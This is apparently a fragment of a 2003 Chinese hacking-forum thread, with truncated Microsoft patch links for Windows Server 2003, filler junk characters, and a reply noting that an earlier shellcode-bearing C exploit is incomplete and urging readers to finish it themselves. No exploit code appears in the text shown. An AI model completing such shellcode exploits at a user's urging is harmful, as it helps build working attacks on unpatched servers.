http://microsoft.com/downloads/d ... &displaylang=en
  ]9 g8 f$ R. D2 ?
! Y. Z  A. l, K& Y- W$ KWindows Server 2003 32 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 64 bit Edition：
! v3 e5 k, ^5 ~+ l% f& j
" v0 k0 Z/ y/ qhttp://microsoft.com/downloads/d ... &displaylang=en
4 o* H" m7 ?9 x* [! k1 Z1 h( Q

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6 S9 n  [; r1 B3 M% z
  n7 |( D( t" J; e

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。